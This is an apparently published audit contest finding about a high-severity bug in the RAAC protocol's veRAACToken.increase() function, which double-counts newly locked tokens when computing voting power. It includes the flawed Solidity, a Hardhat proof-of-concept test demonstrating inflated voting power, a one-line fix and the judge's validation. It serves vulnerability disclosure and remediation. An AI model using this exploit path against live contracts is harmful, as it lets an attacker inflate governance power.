Core Contracts

Regnum Aurum Acquisition Corp
HardhatReal World AssetsNFT
77,280 USDC
View results
Submission Details
Severity: high
Valid

Double Increase in Lock Amount

Summary

In the increase() function of veRAACToken.sol, there is a critical bug where the lock amount is effectively doubled when calculating the new voting power. This occurs because the function incorrectly adds the new amount twice when calling calculateAndUpdatePower().

Vulnerability Details

https://github.com/Cyfrin/2025-02-raac/blob/89ccb062e2b175374d40d824263a4c0b601bcb7f/contracts/core/tokens/veRAACToken.sol#L253

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount + amount, // BUG: userLock.amount already includes the new amount
userLock.end
);
}

Issue Details

  1. First, _lockState.increaseLock() is called, which adds amount to the user's lock:

function increaseLock(...) internal {
lock.amount += additionalAmount;
// ...
}
  1. Then, when retrieving the lock with _lockState.locks[msg.sender], userLock.amount already includes the new amount.

  2. However, the code incorrectly adds amount again when calling calculateAndUpdatePower(): userLock.amount + amount

Impact

  • Users receive more voting power than they should

  • System's total voting power becomes inflated

Proof of concept

const { expect } = require("chai");
const { ethers } = require("hardhat");
describe("veRAACToken increase() vulnerability", function () {
let raacToken, veRAACToken;
let deployer, user;
const parseEth = ethers.utils.parseEther;
before(async function () {
[deployer, user] = await ethers.getSigners();
// Deploy a minimal ERC20 mock for RAAC
const RAACMock = await ethers.getContractFactory("RAACMock", deployer);
raacToken = await RAACMock.deploy("RAAC", "RAAC", parseEth("1000000"));
await raacToken.deployed();
// Deploy veRAACToken using the deployed RAACMock
const VeRAACToken = await ethers.getContractFactory("veRAACToken", deployer);
veRAACToken = await VeRAACToken.deploy(raacToken.address);
await veRAACToken.deployed();
// Transfer tokens to 'user' and approve veRAACToken to spend RAAC tokens
await raacToken.transfer(user.address, parseEth("1000"));
});
it("should inflate voting power incorrectly on increase", async function () {
// User approves RAAC tokens for locking
await raacToken.connect(user).approve(veRAACToken.address, parseEth("1000"));
// Lock 500 tokens for 1 year
const oneYear = 365 * 24 * 3600;
await veRAACToken.connect(user).lock(parseEth("500"), oneYear);
const initialVotingPower = await veRAACToken.getVotingPower(user.address);
// Increase lock by 100 tokens.
await raacToken.connect(user).approve(veRAACToken.address, parseEth("100"));
await veRAACToken.connect(user).increase(parseEth("100"));
const newVotingPower = await veRAACToken.getVotingPower(user.address);
// In a correct implementation, the new voting power should reflect the lock of 600 tokens.
// Due to the bug, the voting power inflates (as if 100 extra tokens were added).
// We expect newVotingPower > (initialVotingPower * 600/500).
const expectedMin = initialVotingPower.mul(600).div(500);
expect(newVotingPower).to.be.gt(expectedMin);
});
});

Recommendations

function increase(uint256 amount) external nonReentrant whenNotPaused {
// Increase lock using LockManager
_lockState.increaseLock(msg.sender, amount);
LockManager.Lock memory userLock = _lockState.locks[msg.sender];
(int128 newBias, int128 newSlope) = _votingState.calculateAndUpdatePower(
msg.sender,
userLock.amount, // FIXED: userLock.amount already includes the new amount
userLock.end
);
// ...
}
Updates

Lead Judging Commences

inallhonesty Lead Judge 3 months ago
Submission Judgement Published
Validated
Assigned finding tags:

veRAACToken::increase doubles the voting power of users

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.